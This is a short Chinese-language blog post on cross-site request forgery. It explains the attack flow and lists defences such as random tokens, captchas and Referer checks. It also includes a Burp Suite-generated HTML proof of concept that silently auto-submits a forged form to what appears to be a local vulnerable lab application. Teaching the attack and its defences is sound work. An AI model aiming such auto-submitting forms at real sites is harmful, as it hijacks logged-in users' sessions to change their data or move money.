跨站请求伪造--CSRF
攻击者通过某些技术手段欺骗用户的浏览器访问曾经认证过的网站并执行一些操作,挟持用户在当前已经登录的web应用程序上执行非本意的操作
攻击流程
- 用户登录站点a,并通过站点a的身份验证
- 用户未退出站点a,在同一个浏览器中访问危险站点b
- 站点b收到用户请求后,返回恶意代码并且发出访问站点a的请求
- 浏览器收到这些恶意代码后,在用户不知情的情况下,利用cookie的信息,向网站a发出恶意请求(修改密码,转账等操作)
- 站点a接收到请求后,会根据用户的权限,处理请求,导致站点b的恶意代码被执行
漏洞poc
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:2233/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="asd" />
<input type="hidden" name="phonenum" value="asd" />
<input type="hidden" name="add" value="asd" />
<input type="hidden" name="email" value="asd" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
防御方法
- 增加 token 验证
- 对关键操作增加token参数,token必须随机,每次都不一样
- 增加验证码
- 身份二次认证
- 通过http头部中的referer来限制原页面
注意:
敏感信息使用post传参而不是get
跨站请求伪造--CSRF
https://blog.lixey.top/跨站请求伪造-CSRF/